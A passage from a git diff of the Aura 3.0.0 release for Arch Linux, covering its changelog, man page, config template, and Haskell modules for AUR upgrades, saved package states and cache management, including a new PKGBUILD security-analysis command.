diff --git a/CHANGELOG.md b/CHANGELOG.md --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,47 @@ # Aura Changelog +## 3.0.0 (2020-05-20) + +#### Added + +- **Aura is now configurable via a conf file!** Aura expects it at + `/etc/aura.conf`, but will not break if it's missing. If you install Aura via + its AUR package, this file will be installed for you automatically. +- **A new top-level command: `-P`**. This allows users to analyse PKGBUILD + files manually, as is usually done during building. + - `-Pf` accepts a path to a PKGBUILD. + - `-Pd` accepts a path to a directory containing a PKGBUILD. + - `-Pa` to scan the PKGBUILDs of all locally installed AUR packages. + - `-P` on its own will read from stdin. Combine this with `-Ap` to pull from the AUR: +``` +> aura -Ap myget | aura -P + + sudo pacman -S aurvote + +aura >>= sudo indicates that someone may be trying to gain root access to your machine. +aura >>= Potential PKGBUILD vulnerabilities detected. +``` +- A new flag `--vcspath` to accompany the new VCS build behaviour (see below). +- A new flag `--allsourcepath` to accompany the restored `--allsource` + functionality (see below). +- `-O --adopt` can now be called as `-Oa`. + +#### Changed + +- VCS packages (e.g. `*-git`, `*-svn`, etc.) and their cloned sources are now + built and stored in `/var/cache/aura/vcs`. **Subsequent builds will no longer + reclone everything.** [#462](https://github.com/fosskers/aura/issues/462) +- `--hotedit` will now offer to edit `.install` and `.patch` files. [#208](https://github.com/fosskers/aura/issues/208) +- Some modules have been renamed and moved around. +- `Aura.Diff` and `Aura.Pkgbuild.Base` have had their contents folded into other + modules. + +#### Fixed + +- A regression that broke `-Bc`. [#592](https://github.com/fosskers/aura/issues/592) +- The functionality of `--allsource` has been restored. [#538](https://github.com/fosskers/aura/issues/538) +- A minor difference in the behaviour of `-Ss` relative to `pacman`. [#599](https://github.com/fosskers/aura/issues/599) + ## 2.3.0 (2020-04-22) #### Added diff --git a/aura.cabal b/aura.cabal --- a/aura.cabal +++ b/aura.cabal @@ -1,6 +1,6 @@ cabal-version: 2.2 name: aura -version: 2.3.0 +version: 3.0.0 synopsis: A secure package manager for Arch Linux and the AUR. description: Aura is a package manager for Arch Linux. It connects to both the @@ -20,8 +20,12 @@ README.md CHANGELOG.md doc/aura.8 + doc/aura.conf doc/completions/bashcompletion.sh doc/completions/_aura + test/pacman.conf + test/good.PKGBUILD + test/bad.PKGBUILD common commons default-language: Haskell2010 @@ -38,16 +42,20 @@ , base >=4.12 && <5 , bytestring ^>=0.10 , containers ^>=0.6 + , megaparsec >=7 && <9 , microlens ^>=0.4 , rio ^>=0.1.13 , text ^>=1.2 - , versions ^>=3.5 + , versions ^>=3.5.4 common libexec build-depends: + , aeson >=1.2 && <1.5 + , aur ^>=7.0 , http-client >=0.5 && <0.7 , prettyprinter >=1.2 && <1.7 , prettyprinter-ansi-terminal ^>=1.1 + , scheduler >=1.1 && <1.5 , transformers ^>=0.5 , typed-process ^>=0.2 @@ -58,16 +66,10 @@ Aura.Build Aura.Cache Aura.Colour - Aura.Commands.A - Aura.Commands.B - Aura.Commands.C - Aura.Commands.L - Aura.Commands.O Aura.Core Aura.Dependencies - Aura.Diff - Aura.Install Aura.IO + Aura.Install Aura.Languages Aura.Languages.Fields Aura.Logo @@ -75,38 +77,39 @@ Aura.Packages.AUR Aura.Packages.Repository Aura.Pacman - Aura.Pkgbuild.Base - Aura.Pkgbuild.Editing Aura.Pkgbuild.Fetch Aura.Pkgbuild.Records Aura.Pkgbuild.Security + Aura.Security Aura.Settings + Aura.Settings.External Aura.Shell Aura.State Aura.Types Aura.Utils build-depends: - , aeson >=1.2 && <1.5 - , algebraic-graphs >=0.1 && <0.6 - , aur ^>=7.0 + , algebraic-graphs >=0.1 && <0.6 , filepath ^>=1.4 - , hashable ^>= 1.3 - , http-types >=0.9 && <0.13 - , language-bash >=0.8 && <0.10 - , megaparsec >=7 && <9 + , hashable ^>=1.3 + , http-types >=0.9 && <0.13 + , language-bash >=0.8 && <0.10 , network-uri ^>=2.6 - , scheduler >=1.1 && <1.5 , stm ^>=2.5 - , time >=1.8 && <1.10 - , unliftio ^>=0.2 + , time >=1.8 && <1.10 executable aura import: commons, libexec main-is: aura.hs other-modules: - Flags - Settings + Aura.Commands.A + Aura.Commands.B + Aura.Commands.C + Aura.Commands.L + Aura.Commands.O + Aura.Commands.P + Aura.Flags + Aura.Settings.Runtime hs-source-dirs: exec ghc-options: -threaded -O2 -with-rtsopts=-N @@ -123,6 +126,5 @@ ghc-options: -threaded -with-rtsopts=-N build-depends: , aura - , megaparsec - , tasty >=0.11 && <1.3 + , tasty >=0.11 && <1.4 , tasty-hunit >=0.9 && <0.11 diff --git a/doc/aura.8 b/doc/aura.8 --- a/doc/aura.8 +++ b/doc/aura.8 @@ -1,7 +1,7 @@ .\" Man page for `aura` .\" Written by Colin Woodbury -.TH aura 8 "January 2020" "Aura" "Aura Manual" +.TH aura 8 "2020 May" "Aura" "Aura Manual" .\" Disable hyphenation. .nh @@ -15,12 +15,10 @@ .SH DESCRIPTION .P \fIaura\fR is a secure, multilingual package manager for Arch Linux written in -Haskell. -It connects to both the official Arch repositories and to the Arch User +Haskell. It connects to both the official Arch repositories and to the Arch User Repositories (AUR), allowing easy control of all packages on an Arch system. -Aura can also be used to build Arch Build System (ABS) packages from source. Aura allows \fIall\fR pacman operations and provides \fInew\fR custom ones for -dealing with AUR and ABS packages. +dealing with AUR packages. .SH OPERATIONS .P @@ -57,6 +55,16 @@ installed as dependencies, but are no longer required by any other package. Default action is to list the current orphans. .RE +.P +\fB\-P\fR, \-\-analysis +.RS 4 +Perform security analysis of a [P]KGBUILD. Useful for package maintainers and +sysadmins to verify the safety of the PKGBUILD files that they write. To test +any package on the AUR, try the following: +.P +.RS 4 +aura -Ap | aura -P +.RE .SH AUR SYNC OPTIONS (\fI\-A\fR) .P @@ -129,27 +137,22 @@ Query the AUR RPC for package info as raw JSON. Good for debugging. .RE .P -\fB\-\-build\fR=/path/ +\fB\-\-build\fR .RS 4 Specify build path when building AUR packages. Only the \fIfull\fR path of a pre-existing directory can be used. Example: -.RS 6 -"aura -A foo --build=/full/path/to/build/location/" +.P +.RS 4 +aura -A foo --build=/full/path/to/build/location/ .RE .RE .P -\fB\-\-builduser\fR=username +\fB\-\-builduser\fR .RS 4 Specify the user to build packages as. This can be useful when logged in as root and a build user is available. .RE .P -\fB\-\-custom\fR -.RS 4 -Run \fIcustomizepkg\fR on packages before building. Note that you need -customizepkg installed and set up correctly for this to work. -.RE -.P \fB\-\-devel\fR .RS 4 When ran with \fI\-Au\fR, adds all development packages to the queue of @@ -164,20 +167,31 @@ with \fI\-M\fR. .RE .P +\fB\-\-force\fR +.RS 4 +Always (re)build the specified packages. Usually Aura will not rebuild packages +whose versions are already available in the local package cache. +.RE +.P \fB\-\-hotedit\fR .RS 4 -Prompt the user immediately before dependency checks to ask if they wish to -view/edit the PKGBUILD. -This is not default behavior and thus does not have a single\-letter option. -Research into packages (and by extension, their PKGBUILDs) should be done -before any building occurs. Please use \fI\-Ap\fR and \fI\-Ad\fR for this, as -they will be much faster at presenting information than searching the AUR -website manually. -Note that, since aura is run through sudo, your local value of $EDITOR may not -be preserved. Run as "sudo \fI\-E\fR aura -A --hotedit ..." to preserve your -environment. To always allow environment variables to be passed, have a look at -the \fIenv_reset\fR and \fIenv_keep\fR options in \fBsudoers\fR(5). +Prompt the user before building to ask if they wish to view/edit the PKGBUILD, +as well as any .install or .patch files. This is not default behavior and thus +does not have a single\-letter option. Research into packages (and by extension, +their PKGBUILDs) should be done before any building occurs. Please use +\fI\-Ap\fR and \fI\-Ad\fR for this, as they will be much faster at presenting +information than searching the AUR website manually. Note that, since aura is +run through sudo, your local value of $EDITOR may not be preserved. Run as "sudo +\fI\-E\fR aura -A --hotedit ..." to preserve your environment. To always allow +environment variables to be passed, have a look at the \fIenv_reset\fR and +\fIenv_keep\fR options in \fBsudoers\fR(5). .RE +.P +\fB\-\-vcspath \fR +.RS 4 +Save the cloned sources of VCS packages (i.e. those that end in \fI*-git\fR, etc.) +in the given location, instead of the default \fI/var/cache/aura/vcs/\fR. +.RE .SH GLOBAL PACKAGE STATE OPTIONS (\fI\-B\fR) .P @@ -193,6 +207,11 @@ were upgraded since the chosen save. Will remove any that weren't installed at the time. .RE +.P +\fB\-l\fR, \-\-list\fR +.RS 4 +Show all saved package state filenames. +.RE .SH DOWNGRADE OPTIONS (\fI\-C\fR) .P @@ -244,7 +263,7 @@ .SH ORPHAN PACKAGE OPTIONS (\fI\-O\fR) .P -\fB\-\-adopt +\fB\-a\fR, \-\-adopt .RS 4 Mark a package as being explicitly installed (i.e. it's not a dependency). .RE @@ -253,6 +272,21 @@ .RS 4 Uninstall all orphan packages. .RE +.SH ANALYSIS OPTIONS (\fI\-P\fR) +.P +\fB\-f\fR, \-\-file +.RS 4 +Analyse a given PKGBUILD. +.RE +\fB\-d\fR, \-\-dir +.RS 4 +Analyse a PKGBUILD found in the specified directory. +.RE +.P +\fB\-a\fR, \-\-audit +.RS 4 +Analyse the PKGBUILDs of all locally installed AUR packages. +.RE .SH PACMAN / AURA DUAL FUNCTIONALITY OPTIONS .P @@ -272,6 +306,19 @@ .RS 4 View some handy debugging information. .RE +.P +\-\-color [mode] +.RS 4 +Whether or not to colour output text. Without this flag, both Aura and Pacman +will attempt to colour text if the terminal allows it. Otherwise, you can pass +\fInever\fR or \fIalways\fR to be specific about your wants. +.RE +.P +\-\-overwrite +.RS 4 +If there are file conflicts during installation, overwrite conflicting files +that match the given glob pattern. +.RE .SH EXPOSED MAKEPKG OPTIONS .P @@ -282,9 +329,15 @@ .P \-\-allsource .RS 4 -Creates a \fI.src\fR file containing all the downloaded sources (code, etc) -and stores it at \fI/var/cache/aura/src/\fR. +Creates a \fI.src\fR file containing all the downloaded sources (code, etc) and +stores it at \fI/var/cache/aura/src/\fR. To change the location where sources +are stored, use the \fI\-\-allsourcepath\fR flag. .RE +.P +\-\-skipinteg +.RS 4 +Skip package source integrity checks. +.RE .SH LANGUAGE OPTIONS .P @@ -317,6 +370,14 @@ \-\-serbian, \-\-српски .P \-\-norwegian, \-\-norsk +.P +\-\-indonesian +.P +\-\-chinese, \-\-中文 +.P +\-\-esperanto +.P +\-\-dutch, \-\-nederlands .SH PRO TIPS .P @@ -348,11 +409,10 @@ .SH BUGS .P -It is not recommended to install non-ABS, non-AUR packages with pacman or aura. -Aura will assume they are AUR packages during a `-Au` and attempt to upgrade -them. If a name collision occurs (that is, if there is a legitimate AUR package -with the same name as the one you installed) previous installations could be -overwritten. +It is not recommended to install non-AUR packages with pacman or aura. Aura will +assume they are AUR packages during a \fI\-Au\fR and attempt to upgrade them. If +a name collision occurs (that is, if there is a legitimate AUR package with the +same name as the one you installed) previous installations could be overwritten. .SH AUTHOR .P @@ -376,41 +436,23 @@ .SH TRANSLATORS .P -( Polish ) Chris "Kwpolska" Warrick -.P -( Croatian ) Denis Kasak -.P -( Croatian ) "stranac" +( Polish ) Chris Warrick .P -( Swedish ) Fredrik Haikarainen +( Croatian ) Denis Kasak and "stranac" .P -( Swedish ) Daniel Beecham +( Swedish ) Fredrik Haikarainen and Daniel Beecham .P ( German ) Lukas Niederbremer .P -( Spanish ) Alejandro Gómez -.P -( Spanish ) Sergio Conde -.P -( Spanish ) Max Ferrer -.P -( Portuguese ) Henry "Ingvij" Kupty -.P -( Portuguese ) Thiago "thiagowfx" Perrotta -.P -( Portuguese ) Wagner Amaral -.P -( French ) Ma Jiehong -.P -( French ) Fabien Dubosson +( Spanish ) Alejandro Gómez, Sergio Conde, and Max Ferrer .P -( Russian ) Kyrylo Silin +( Portuguese ) Henry Kupty, Thiago Perrotta, and Wagner Amaral .P -( Russian ) Alexey Kotlyarov +( French ) Ma Jiehong and Fabien Dubosson .P -( Italian ) Bob Valantin +( Russian ) Kyrylo Silin and Alexey Kotlyarov .P -( Italian ) Cristian Tentella +( Italian ) Bob Valantin and Cristian Tentella .P ( Serbian ) Filip Brcic .P @@ -422,6 +464,6 @@ .P ( Japanese ) Onoue Takuro .P -( Esperanto ) Zachary "Ghosy" Matthews +( Esperanto ) Zachary Matthews .P ( Dutch ) Joris Blanken diff --git a/doc/aura.conf b/doc/aura.conf new file mode 100644 --- /dev/null +++ b/doc/aura.conf @@ -0,0 +1,62 @@ +# --- Aura Config --- # +# +# Template updated on: Mon 11 May 2020 +# +# You can uncomment the various settings below in order to activate them. +# Otherwise, Aura will use its internal defaults. + +# --- Language --- # +# Aura can be used in different human languages. This field must be a 2-letter +# language code, similar to those used in LOCALE. The available codes are: +# +# |------+------------| +# | Code | Language | +# |------+------------| +# | nl | Dutch | +# | en | English | +# | de | German | +# | nb | Norwegian | +# | sv | Swedish | +# |------+------------| +# | fr | French | +# | it | Italian | +# | pt | Portuguese | +# | es | Spanish | +# |------+------------| +# | hr | Croatian | +# | pl | Polish | +# | ru | Russian | +# | sr | Serbian | +# |------+------------| +# | zh | Chinese | +# | id | Indonesian | +# | ja | Japanese | +# |------+------------| +# | eo | Esperanto | +# |------+------------| + +# Uncomment to activate: +# language = en + +# --- Build Settings --- # +# Aura runs via `sudo` but builds packages as the underlying non-root user. +# Here, you can alter who that user is, and where packages are built. + +# Uncomment to activate: +# user = YOU +# buildpath = /tmp +# allsourcepath = /var/cache/aura/src +# vcspath = /var/cache/aura/vcs + +# --- PKGBUILD Analysis --- # +# Aura automatically scans PKGBUILDs for malicious bash usage and other "bad +# practices". Here, you can turn those scans off. + +# Uncomment to activate: +# analyse = True + +# --- Misc. --- # + +# The editor to use with `--hotedit`. +# Uncomment to activate: +# editor = vi diff --git a/doc/completions/_aura b/doc/completions/_aura --- a/doc/completions/_aura +++ b/doc/completions/_aura @@ -144,7 +144,6 @@ '*--aurignore[Ignore AUR packages when installing]:package: _aura_completions_aur_packages' '--build[Build packages in specified path]' '--builduser[Use specified user to build packages]' - '--custom[Run customizepkg]' {--dev,--devel}'[With -Au, also upgrades all development packages]' "--dryrun[Perform checks, but don't build]" '--hotedit[Prompt user to edit PKGBUILD before dep checks]' diff --git a/exec/Aura/Commands/A.hs b/exec/Aura/Commands/A.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Commands/A.hs @@ -0,0 +1,225 @@ +{-# LANGUAGE BangPatterns #-} +{-# LANGUAGE LambdaCase #-} + +-- | +-- Module : Aura.Commands.A +-- Copyright : (c) Colin Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- Handle all @-A@ flags - those which involve viewing and building packages +-- from the AUR. + +module Aura.Commands.A + ( I.install + , upgradeAURPkgs + , aurPkgInfo + , aurPkgSearch + , I.displayPkgDeps + , displayPkgbuild + , aurJson + , fetchTarball + ) where + +import Aura.Colour +import Aura.Core +import qualified Aura.Install as I +import Aura.IO +import Aura.Languages +import Aura.Packages.AUR +import Aura.Pkgbuild.Fetch +import Aura.Settings +import Aura.State (saveState) +import Aura.Types +import Aura.Utils +import Data.Aeson +import Data.Text.Prettyprint.Doc +import Data.Text.Prettyprint.Doc.Render.Terminal +import Data.Versions (Versioning, prettyV, versioning) +import Linux.Arch.Aur +import Network.HTTP.Client (Manager) +import RIO +import qualified RIO.ByteString as B +import qualified RIO.ByteString.Lazy as BL +import qualified RIO.List as L +import RIO.List.Partial (maximum) +import qualified RIO.NonEmpty as NEL +import qualified RIO.Set as S +import qualified RIO.Text as T +import RIO.Text.Partial (splitOn) +import Text.Printf (printf) + +--- + +-- | The result of @-Au@. +upgradeAURPkgs :: Set PkgName -> RIO Env () +upgradeAURPkgs pkgs = do + ss <- asks settings + notify ss upgradeAURPkgs_1 + fs <- liftIO (foreigns ss) + traverse_ (upgrade pkgs) $ nes fs + +-- | Foreign packages to consider for upgrading, after "ignored packages" have +-- been taken into consideration. +foreigns :: Settings -> IO (Set SimplePkg) +foreigns ss = S.filter (notIgnored . spName) <$> foreignPackages + where notIgnored p = not . S.member p $ ignoresOf ss + +upgrade :: Set PkgName -> NonEmpty SimplePkg -> RIO Env () +upgrade pkgs fs = do + logDebug $ "Considering " <> display (NEL.length fs) <> " 'foreign' packages for upgrade." + unless (null pkgs) + $ logDebug $ "Also installing " <> display (S.size pkgs) <> " other packages." + ss <- asks settings + toUpgrade <- possibleUpdates fs + logDebug $ "Potential upgrades: " <> display (length toUpgrade) + let !names = map (PkgName . aurNameOf . fst) toUpgrade + auraFirst <- auraCheck names + logDebug $ "Upgrade Aura first? ... " <> maybe "No." (const "Yes!") auraFirst + case auraFirst of + Just a -> auraUpgrade a + Nothing -> do + devel <- develPkgCheck + notify ss upgradeAURPkgs_2 + if null toUpgrade && null devel + then warn ss upgradeAURPkgs_3 + else do + reportPkgsToUpgrade toUpgrade (toList devel) + liftIO . unless (switch ss DryRun) $ saveState ss + traverse_ I.install . nes $ S.fromList names <> pkgs <> devel + +possibleUpdates :: NonEmpty SimplePkg -> RIO Env [(AurInfo, Versioning)] +possibleUpdates pkgs = do + aurInfos <- aurInfo $ fmap spName pkgs + let !names = map aurNameOf aurInfos + aurPkgs = NEL.filter (\(SimplePkg (PkgName n) _) -> n `elem` names) pkgs + logDebug "Package lookup successful." + pure . filter isntMostRecent . zip aurInfos $ map spVersion aurPkgs + +-- | Is there an update for Aura that we could apply first? +auraCheck :: [PkgName] -> RIO Env (Maybe PkgName) +auraCheck ps = join <$> traverse f auraPkg + where + f :: a -> RIO Env (Maybe a) + f a = do + ss <- asks settings + bool Nothing (Just a) <$> liftIO (optionalPrompt ss auraCheck_1) + + auraPkg :: Maybe PkgName + auraPkg | "aura" `elem` ps = Just "aura" + | "aura-bin" `elem` ps = Just "aura-bin" + | otherwise = Nothing + +auraUpgrade :: PkgName -> RIO Env () +auraUpgrade = I.install . pure + +develPkgCheck :: RIO Env (Set PkgName) +develPkgCheck = asks settings >>= \ss -> + if switch ss RebuildDevel then liftIO develPkgs else pure S.empty + +-- | The result of @-Ai@. +aurPkgInfo :: NonEmpty PkgName -> RIO Env () +aurPkgInfo = aurInfo >=> traverse_ displayAurPkgInfo + +displayAurPkgInfo :: AurInfo -> RIO Env () +displayAurPkgInfo ai = asks settings >>= \ss -> putTextLn $ renderAurPkgInfo ss ai <> "\n" + +renderAurPkgInfo :: Settings -> AurInfo -> Text +renderAurPkgInfo ss ai = dtot . colourCheck ss $ entrify ss fields entries + where fields = infoFields . langOf $ ss + entries = [ magenta "aur" + , annotate bold . pretty $ aurNameOf ai + , pretty $ aurVersionOf ai + , outOfDateMsg (dateObsoleteOf ai) $ langOf ss + , orphanedMsg (aurMaintainerOf ai) $ langOf ss + , cyan . maybe "(null)" pretty $ urlOf ai + , pretty . pkgUrl . PkgName $ aurNameOf ai + , pretty . T.unwords $ licenseOf ai + , pretty . T.unwords $ dependsOf ai + , pretty . T.unwords $ makeDepsOf ai + , yellow . pretty $ aurVotesOf ai + , yellow . pretty . T.pack . printf "%0.2f" $ popularityOf ai + , maybe "(null)" pretty $ aurDescriptionOf ai ] + +-- | The result of @-As@. +aurPkgSearch :: Text -> RIO Env () +aurPkgSearch regex = do + ss <- asks settings + db <- S.map (pnName . spName) <$> liftIO foreignPackages + let t = case truncationOf $ buildConfigOf ss of -- Can't this go anywhere else? + None -> id + Head n -> take $ fromIntegral n + Tail n -> reverse . take (fromIntegral n) . reverse + results <- fmap (\x -> (x, aurNameOf x `S.member` db)) . t + <$> aurSearch regex + traverse_ (putTextLn . renderSearch ss regex) results + +renderSearch :: Settings -> Text -> (AurInfo, Bool) -> Text +renderSearch ss r (i, e) = searchResult + where searchResult = if switch ss LowVerbosity then sparseInfo else dtot $ colourCheck ss verboseInfo + sparseInfo = aurNameOf i + verboseInfo = repo <> n <+> v <+> "(" <> l <+> "|" <+> p <> + ")" <> (if e then annotate bold " [installed]" else "") <> "\n " <> d + repo = magenta "aur/" + n = fold . L.intersperse (bCyan $ pretty r) . map (annotate bold . pretty) . splitOn r $ aurNameOf i + d = maybe "(null)" pretty $ aurDescriptionOf i + l = yellow . pretty $ aurVotesOf i -- `l` for likes? + p = yellow . pretty . T.pack . printf "%0.2f" $ popularityOf i + v = case dateObsoleteOf i of + Just _ -> red . pretty $ aurVersionOf i + Nothing -> green . pretty $ aurVersionOf i + +-- | The result of @-Ap@. +displayPkgbuild :: NonEmpty PkgName -> RIO Env () +displayPkgbuild ps = do + man <- asks (managerOf . settings) + pbs <- catMaybes <$> traverse (liftIO . getPkgbuild man) (toList ps) + traverse_ ((\p -> B.putStr p >> B.putStr "\n") . pkgbuild) pbs + +isntMostRecent :: (AurInfo, Versioning) -> Bool +isntMostRecent (ai, v) = trueVer > Just v + where trueVer = hush . versioning $ aurVersionOf ai + +-- | Similar to @-Ai@, but yields the raw data as JSON instead. +aurJson :: NonEmpty PkgName -> RIO Env () +aurJson ps = do + m <- asks (managerOf . settings) + infos <- liftMaybeM (Failure connectFailure_1) . fmap hush . liftIO $ f m ps + traverse_ (BL.putStrLn . encode) infos + where + f :: Manager -> NonEmpty PkgName -> IO (Either AurError [AurInfo]) + f m = info m . map pnName . NEL.toList + +-- | @https://aur.archlinux.org/cgit/aur.git/snapshot/aura-bin.tar.gz@ +fetchTarball :: NonEmpty PkgName -> RIO Env () +fetchTarball ps = do + ss <- asks settings + traverse_ (liftIO . g ss) ps + where + f :: PkgName -> String + f (PkgName p) = + "https://aur.archlinux.org/cgit/aur.git/snapshot/" <> T.unpack p <> ".tar.gz" + + g :: Settings -> PkgName -> IO () + g ss p@(PkgName pn) = urlContents (managerOf ss) (f p) >>= \case + Nothing -> warn ss $ missingPkg_5 p + Just bs -> writeFileBinary (T.unpack pn <> ".tar.gz") bs + +------------ +-- REPORTING +------------ +reportPkgsToUpgrade :: [(AurInfo, Versioning)] -> [PkgName] -> RIO Env () +reportPkgsToUpgrade ups pns = do + ss <- asks settings + notify ss reportPkgsToUpgrade_1 + liftIO $ putDoc (colourCheck ss . vcat $ map f ups' <> map g devels) >> putTextLn "\n" + where devels = map pnName pns + ups' = map (second prettyV) ups + nLen = maximum $ map (T.length . aurNameOf . fst) ups <> map T.length devels + vLen = maximum $ map (T.length . snd) ups' + g = annotate (color Cyan) . pretty + f (p, v) = hsep [ cyan . fill nLen . pretty $ aurNameOf p + , "::" + , yellow . fill vLen $ pretty v + , "->" + , green . pretty $ aurVersionOf p ] diff --git a/exec/Aura/Commands/B.hs b/exec/Aura/Commands/B.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Commands/B.hs @@ -0,0 +1,53 @@ +{-# LANGUAGE TupleSections #-} +{-# LANGUAGE ViewPatterns #-} + +-- | +-- Module : Aura.Commands.B +-- Copyright : (c) Colin Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- Handle all @-B@ flags - those which involve saved package states. + +module Aura.Commands.B + ( saveState + , restoreState + , cleanStates + , listStates + ) where + +import Aura.Core (warn) +import Aura.IO +import Aura.Languages +import Aura.Settings +import Aura.State +import RIO +import RIO.Directory +import RIO.FilePath +import qualified RIO.List as L +import qualified RIO.NonEmpty as NEL +import qualified RIO.Text as T + +--- + +-- | Remove all but the newest @n@ package states. Any "pinned" states will also remain. +cleanStates :: Settings -> Word -> IO () +cleanStates ss (fromIntegral -> n) = do + stfs <- reverse <$> getStateFiles + (pinned, others) <- L.partition p <$> traverse (\sf -> (sf,) <$> readState sf) stfs + warn ss $ cleanStates_4 (length stfs) + unless (null pinned) . warn ss $ cleanStates_6 (length pinned) + forM_ (NEL.nonEmpty stfs) $ \stfs' -> do + let mostRecent = T.pack . takeFileName $ NEL.head stfs' + warn ss $ cleanStates_5 mostRecent + okay <- optionalPrompt ss $ cleanStates_2 n + if not okay + then warn ss cleanStates_3 + else traverse_ (removeFile . fst) . drop n $ others + where + p :: (a, Maybe PkgState) -> Bool + p = maybe False pinnedOf . snd + +-- | The result of @-Bl@. +listStates :: IO () +listStates = getStateFiles >>= traverse_ (putTextLn . T.pack) diff --git a/exec/Aura/Commands/C.hs b/exec/Aura/Commands/C.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Commands/C.hs @@ -0,0 +1,168 @@ +{-# LANGUAGE BangPatterns #-} +{-# LANGUAGE NumericUnderscores #-} +{-# LANGUAGE TypeApplications #-} + +-- | +-- Module : Aura.Commands.C +-- Copyright : (c) Colin Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- Handle all @-C@ flags - those which involve the package cache. + +module Aura.Commands.C + ( downgradePackages + , searchCache + , backupCache + , cleanCache + , cleanNotSaved + ) where + +import Aura.Cache +import Aura.Colour (red) +import Aura.Core +import Aura.IO +import Aura.Languages +import Aura.Pacman (pacman) +import Aura.Settings +import Aura.Shell +import Aura.State +import Aura.Types +import Aura.Utils (nes) +import RIO +import RIO.Directory +import qualified RIO.List as L +import qualified RIO.Map as M +import qualified RIO.NonEmpty as NEL +import qualified RIO.Set as S +import qualified RIO.Text as T + +--- + +-- | Interactive. Gives the user a choice as to exactly what versions +-- they want to downgrade to. +downgradePackages :: NonEmpty PkgName -> RIO Env () +downgradePackages pkgs = do + ss <- asks settings + let cachePath = either id id . cachePathOf $ commonConfigOf ss + reals <- liftIO $ pkgsInCache ss pkgsSet + traverse_ (report red reportBadDowngradePkgs_1) . nes $ pkgsSet S.\\ reals + unless (null reals) $ do + cache <- liftIO $ cacheContents cachePath + choices <- traverse (getDowngradeChoice cache) $ toList reals + liftIO . pacman $ "-U" : asFlag (commonConfigOf ss) <> map (T.pack . ppPath) choices + where + pkgsSet :: Set PkgName + pkgsSet = S.fromList $ NEL.toList pkgs + +-- | For a given package, get a choice from the user about which version of it to +-- downgrade to. +getDowngradeChoice :: Cache -> PkgName -> RIO Env PackagePath +getDowngradeChoice cache pkg = + case NEL.nonEmpty $ getChoicesFromCache cache pkg of + Nothing -> throwM . Failure $ reportBadDowngradePkgs_2 pkg + Just choices -> do + ss <- asks settings + notify ss $ getDowngradeChoice_1 pkg + liftIO $ getSelection (T.pack . ppPath) choices + +getChoicesFromCache :: Cache -> PkgName -> [PackagePath] +getChoicesFromCache (Cache cache) p = L.sort . M.elems $ M.filterWithKey (\(SimplePkg pn _) _ -> p == pn) cache + +-- | Print all package filenames that match a given `Text`. +searchCache :: Text -> RIO Env () +searchCache ps = do + ss <- asks settings + matches <- liftIO $ cacheMatches ss ps + traverse_ (putTextLn . T.pack . ppPath) $ L.sort matches + +-- | The destination folder must already exist for the back-up to begin. +backupCache :: FilePath -> RIO Env () +backupCache dir = do + exists <- liftIO $ doesDirectoryExist dir + if not exists + then throwM $ Failure backupCache_3 + else confirmBackup dir >>= backup dir + +confirmBackup :: FilePath -> RIO Env Cache +confirmBackup dir = do + ss <- asks settings + cache <- liftIO . cacheContents . either id id . cachePathOf $ commonConfigOf ss + notify ss $ backupCache_4 dir + notify ss $ backupCache_5 (M.size $ _cache cache) + withOkay ss backupCache_6 backupCache_7 $ pure cache + +backup :: FilePath -> Cache -> RIO Env () +backup dir (Cache cache) = do + ss <- asks settings + notify ss backupCache_8 + putTextLn "" -- So that the cursor can rise at first. + copyAndNotify dir (M.elems cache) 1 + +-- | Manages the file copying and display of the real-time progress notifier. +copyAndNotify :: FilePath -> [PackagePath] -> Int -> RIO Env () +copyAndNotify _ [] _ = pure () +copyAndNotify dir (p : ps) n = do + ss <- asks settings + liftIO $ raiseCursorBy 1 + warn ss $ copyAndNotify_1 n + liftIO $ copyFile (ppPath p) dir + copyAndNotify dir ps $ n + 1 + +-- | Keeps a certain number of package files in the cache according to +-- a number provided by the user. The rest are deleted. +cleanCache :: Word -> RIO Env () +cleanCache toSave + | toSave == 0 = do + ss <- asks settings + warn ss cleanCache_2 + liftIO $ pacman ["-Scc"] + | otherwise = do + ss <- asks settings + let cachePath = either id id . cachePathOf $ commonConfigOf ss + -- Measuring the cache size before removal -- + beforeCache@(Cache c) <- liftIO $ cacheContents cachePath + beforeBytes <- liftIO $ cacheSize beforeCache + notify ss $ cleanCache_7 (fromIntegral $ M.size c) beforeBytes + -- Proceed with user confirmation -- + warn ss $ cleanCache_3 toSave + withOkay ss cleanCache_4 cleanCache_5 $ do + clean toSave beforeCache + afterCache <- liftIO $ cacheContents cachePath + afterBytes <- liftIO $ cacheSize afterCache + notify ss $ cleanCache_8 (beforeBytes - afterBytes) + +-- | How big, in megabytes, are all the files in the cache? +cacheSize :: Cache -> IO Word +cacheSize (Cache cache) = do + bytes <- foldl' (+) 0 <$> traverse (getFileSize . ppPath) (M.elems cache) + pure . floor @Double $ fromIntegral bytes / 1_048_576 -- 1024 * 1024 + +clean :: Word -> Cache -> RIO Env () +clean toSave (Cache cache) = do + ss <- asks settings + notify ss cleanCache_6 + let !files = M.elems cache + grouped = take (fromIntegral toSave) . reverse <$> groupByName files + toRemove = files L.\\ fold grouped + liftIO $ traverse_ (removeFile . ppPath) toRemove + +-- | Only package files with a version not in any PkgState will be +-- removed. +cleanNotSaved :: RIO Env () +cleanNotSaved = do + ss <- asks settings + notify ss cleanNotSaved_1 + sfs <- liftIO getStateFiles + states <- fmap catMaybes . liftIO $ traverse readState sfs + let cachePath = either id id . cachePathOf $ commonConfigOf ss + (Cache cache) <- liftIO $ cacheContents cachePath + let duds = M.filterWithKey (\p _ -> any (inState p) states) cache + prop <- liftIO . optionalPrompt ss $ cleanNotSaved_2 $ M.size duds + when prop . liftIO . traverse_ (removeFile . ppPath) $ M.elems duds + +-- | Typically takes the contents of the package cache as an argument. +groupByName :: [PackagePath] -> [[PackagePath]] +groupByName pkgs = L.groupBy sameBaseName $ L.sort pkgs + where sameBaseName a b = baseName a == baseName b + baseName p = spName <$> simplepkg p diff --git a/exec/Aura/Commands/L.hs b/exec/Aura/Commands/L.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Commands/L.hs @@ -0,0 +1,78 @@ +-- | +-- Module : Aura.Commands.L +-- Copyright : (c) Colin 